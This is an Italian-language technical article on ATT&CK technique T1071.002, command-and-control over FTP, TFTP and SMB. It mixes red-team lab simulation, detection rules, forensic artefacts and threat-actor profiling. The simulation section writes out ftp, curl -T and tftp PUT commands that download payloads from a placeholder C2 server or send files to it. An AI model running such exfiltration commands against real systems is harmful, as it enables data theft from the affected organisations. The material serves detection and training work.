C2 via Protocolli di Trasferimento File: File Transfer Protocols (T1071.002)

Il modo più diretto per simulare un canale C2 via protocolli di trasferimento file è partire da SMB, perché quasi ogni ambiente Windows lo ha attivo e le named pipe offrono un canale peer-to-peer naturale. In un laboratorio red team, Cobalt Strike (a pagamento) resta il riferimento: il listener SMB si configura creando un profilo che incapsula la comunicazione nelle named pipe standard. Una volta generato il beacon, il canale C2 transita su porta 445 senza generare connessioni verso l'esterno — tutto il traffico resta interno, delegato a un beacon "parent" con uscita HTTP o DNS.

Per chi preferisce un'alternativa open source, Mythic (open source) supporta profili C2 SMB-based. L'architettura modulare permette di selezionare l'agent (ad esempio il payload Athena o Apollo) e associare il profilo SMB come canale di trasporto. In fase di setup nel laboratorio, si configura il profilo C2 direttamente dall'interfaccia web di Mythic, specificando il nome della named pipe da utilizzare.

Havoc (open source) offre un'altra opzione concreta: il suo listener SMB permette la comunicazione laterale tra implant senza traffico Internet diretto, simulando lo stesso pattern operativo che il framework documenta per la comunicazione C2.

Sul fronte FTP, la simulazione è ancora più semplice. Si può allestire un server FTP controllato con vsftpd (open source) o pyftpdlib (open source) su una macchina d'attacco e poi forzare il target a eseguire un download da quel server. Una sequenza basilare da shell compromessa:

ftp -n -s:script.txt <indirizzo-server-C2>

Dove script.txt contiene le credenziali e i comandi GET per scaricare payload. Questo replica il pattern usato da APT41, che ha impiegato payload con download via FTP, e quello di PUBLOAD, che sfrutta curl per esfiltrare dati su FTP:

curl -T C:\dati\archivio.rar ftp://utente:password@<indirizzo-server-C2>/upload/

Per TFTP, tipicamente usato in ambienti con dispositivi di rete, il comando nativo Windows funziona senza installazioni aggiuntive:

tftp -i <indirizzo-server-C2> PUT C:\Windows\Temp\exfil.bin

Infine, per validare che il traffico generato sia realmente indistinguibile da quello legittimo, si consiglia di catturare il pcap con Wireshark (open source) e confrontare le sessioni simulate con quelle di baseline. Questo è il vero valore aggiunto dell'esercizio: non solo verificare che il canale funzioni, ma dimostrare al blue team quanto sia difficile distinguerlo dal rumore di fondo.

La detection di C2 su protocolli di trasferimento file non può basarsi sul semplice blocco delle porte: FTP (21), SMB (445) e TFTP (69) servono al business. Bisogna ragionare in termini di comportamento anomalo, partendo da chi genera il traffico e come lo genera.

La prima regola di detection su Windows è monitorare i processi che avviano connessioni FTP o SMB. Sysmon con EventCode 3 (Network Connection) rivela quando processi sospetti come powershell.exe, cmd.exe, rundll32.exe o mshta.exe stabiliscono sessioni sulla porta 21 o 445 verso IP esterni. Questi processi non hanno ragione legittima di avviare trasferimenti FTP in uscita. Il tuning critico è filtrare i client FTP standard (come WinSCP o FileZilla) e concentrarsi sui binari anomali.

Il secondo indicatore è il rapporto direzionale del traffico. Un canale C2 via FTP presenta tipicamente oltre il 90% di byte in uscita rispetto a quelli in ingresso — uno sbilanciamento che il traffico FTP legittimo (download di aggiornamenti, pull di configurazioni) raramente mostra. I log di flusso di rete (NetFlow/IPFIX) o un NSM come Zeek (open source) permettono di calcolare questa metrica per sessione.

Su Linux, il focus si sposta su auditd e le syscall di rete. Sessioni FTP o SCP avviate da shell non interattive o script di automazione che trasferiscono grandi volumi verso IP non censiti nei sistemi aziendali meritano un alert. La regola auditd per monitorare le execve di ftp, curl con flag -T, o scp da parte di utenti di servizio è un punto di partenza solido.

Per macOS, l'attenzione va su processi come Automator, osascript o Terminal che eseguono curl, lftp o il client TFTP nativo verso porte non standard — ad esempio FTP su porta 443, un pattern di evasione documentato.

Il caso SMB interno è il più insidioso. Cobalt Strike e Mythic usano named pipe su porta 445 per la comunicazione laterale, che si confonde con il traffico di dominio. Qui la detection si basa sull'analisi delle named pipe create: pipe con nomi randomici o non riconducibili a servizi noti (come TSVCPIPE- o nomi hash-like) sono un forte indicatore. I log Sysmon EventCode 17 e 18 (Pipe Created/Connected) sono la fonte primaria.

Infine, gli ambienti ESXi richiedono attenzione specifica: trasferimenti FTP/TFTP originati dalla shell ESXi verso IP pubblici, specialmente da directory come /tmp/ o /vmfs/volumes/, indicano quasi certamente un'attività malevola, dato che queste operazioni non rientrano nei workflow amministrativi standard.

I falsi positivi si riducono con una whitelist di client FTP autorizzati, una lista di server FTP/SMB legittimi e una soglia volumetrica (ad esempio, alert solo sopra i 100 MB trasferiti verso subnet esterne non fidate).

Quando l'indagine porta a sospettare un canale C2 basato su protocolli di trasferimento file, gli artefatti si distribuiscono tra endpoint e rete, e la correlazione tra i due livelli è ciò che trasforma indizi isolati in una timeline solida.

Su Windows, il punto di partenza è il registro eventi di Sysmon. Gli eventi EventCode 3 forniscono le connessioni di rete con processo sorgente, IP di destinazione, porta e timestamp. Filtrando per porta 21 (FTP) e 445 (SMB) e incrociando con i processi non standard (cmd.exe, powershell.exe, rundll32.exe), si isolano le sessioni sospette. Gli eventi EventCode 1 (Process Create) completano il quadro mostrando la command line completa: è qui che emergono pattern come l'uso di curl -T verso server FTP esterni — il pattern documentato per PUBLOAD — oppure l'invocazione di ftp.exe con file di script contenenti credenziali hardcoded.

Per la comunicazione SMB laterale, gli artefatti chiave sono le named pipe. Sysmon EventCode 17 registra la creazione della pipe, EventCode 18 la connessione. Cobalt Strike utilizza pipe con naming convention identificabili (spesso con prefisso MSSE- o nomi pseudo-casuali), mentre SharpDisco e Disco trasferiscono dati tra share SMB, lasciando tracce nei log di accesso alle condivisioni (Security Event 4688 e 5140 per l'accesso alla share).

A livello filesystem, i file trasferiti via FTP lasciano tracce nelle directory temporanee: C:\Users\<utente>\AppData\Local\Temp\, C:\Windows\Temp\, e le recenti entry nei jump list e nella MFT. L'analisi della $MFT con tool come MFTECmd (open source, parte della suite di Eric Zimmerman) permette di identificare file creati in finestre temporali sospette con estensioni tipiche (.rar, .zip, .bin) o nomi hash-like.

Su Linux, i log di auditd con la syscall connect mostrano le connessioni FTP in uscita associate al PID del processo. Il file ~/.bash_history (o equivalente per la shell in uso) può contenere comandi FTP o SCP eseguiti manualmente dall'attaccante. I file in /tmp/ e /var/tmp/ con timestamp anomali rappresentano probabili payload scaricati o dati in staging per l'esfiltrazione.

Per la componente di rete, i log di Zeek (open source) sono preziosi: il log ftp.log registra ogni comando FTP con utente, file trasferito e dimensione, mentre smb_files.log cattura i trasferimenti su share SMB con path completo. La correlazione tra i timestamp di Zeek e quelli di Sysmon/auditd sull'endpoint permette di costruire una sequenza precisa: connessione → autenticazione → trasferimento → esecuzione del payload.

Nelle campagne documentate, Quad7 Activity ha utilizzato un server FTP per il download di binari malevoli sui router SOHO compromessi, mentre Operation Honeybee ha sfruttato FTP come canale C2 primario. In entrambi i casi, l'artefatto di rete (la sessione FTP verso un server non riconducibile all'infrastruttura legittima) è stato il primo indicatore che ha aperto l'indagine.

L'uso di protocolli di trasferimento file per il C2 attraversa aree geografiche e livelli di sofisticazione molto diversi, ed è proprio questa trasversalità a renderlo un indicatore interessante per il profiling.

APT41 è il gruppo più versatile del dataset. Attore sino-nexus con doppia missione — spionaggio statale e cybercrime — ha utilizzato payload che avviano download via FTP come meccanismo di delivery. Questo si inserisce in un arsenale dove il FTP è solo uno dei molti canali: APT41 alterna protocolli applicativi in base all'ambiente target, usando FTP quando l'infrastruttura della vittima lo rende il canale meno visibile. L'impiego di ShadowPad (che supporta FTP per il C2) nel suo toolkit conferma questa flessibilità.

Kimsuky, gruppo nordcoreano focalizzato su intelligence e spionaggio, ha usato FTP in modo più lineare: come canale per il download di malware aggiuntivo sul target. Questo pattern — FTP come vettore di staging piuttosto che come C2 persistente — è coerente con il modus operandi del gruppo, che predilige catene multi-stadio dove ogni fase usa un protocollo diverso. La relazione con BADHATCH, capace di emulare un server FTP per connettersi al C2, suggerisce un'evoluzione verso canali FTP più sofisticati nel panorama nordcoreano.

Dragonfly si distingue per l'uso di SMB come canale C2, un pattern che indica operazioni focalizzate sul movimento laterale in ambienti industriali e infrastrutture critiche dove il traffico SMB è pervasivo. L'impiego di SMB anziché FTP riflette un targeting preciso: reti OT e ambienti Windows-centrici dove SMB è il protocollo dominante.

SilverTerrier, collettivo nigeriano di BEC e frode, usa FTP per il C2 con un approccio meno sofisticato ma estremamente diffuso. La scelta di FTP, con credenziali spesso hardcoded nei binari, riflette un modello operativo ad alto volume e bassa complessità.

I tool offensivi raccontano un trend chiaro: i framework C2 moderni integrano nativamente il supporto SMB. Cobalt Strike, Mythic e Havoc offrono tutti listener SMB per la comunicazione peer-to-peer, segnalando che il traffico SMB laterale anomalo è destinato a crescere come indicatore di compromissione. Sul fronte malware, la densità di famiglie FTP-based (Kazuar con FTPS, Attor, ZxShell, PoetRAT, Machete) dimostra che FTP resta un canale C2 attivo e non relegato a campagne datate.

Le due campagne documentate confermano la dicotomia: Quad7 Activity (2023-2025), con il suo targeting di router SOHO e l'uso di FTP per distribuire binari, rappresenta il filone infrastrutturale su larga scala. Operation Honeybee (2017-2018), con il C2 via FTP mirato a organizzazioni umanitarie, rappresenta lo spionaggio chirurgico. Il protocollo è lo stesso, l'intento e la scala sono opposti — un promemoria che la detection non può basarsi sul "cosa" ma sul "come" e sul "verso dove".

Framework MITRE ATT&CK v16 — T1071.002, TA0011. Campagne: C0055 (Quad7 Activity), C0006 (Operation Honeybee). Detection: Sysmon (EventCode 1, 3, 17, 18), auditd (SYSCALL), Zeek, NetFlow/IPFIX. Integrato con conoscenza professionale per tool e procedure operative.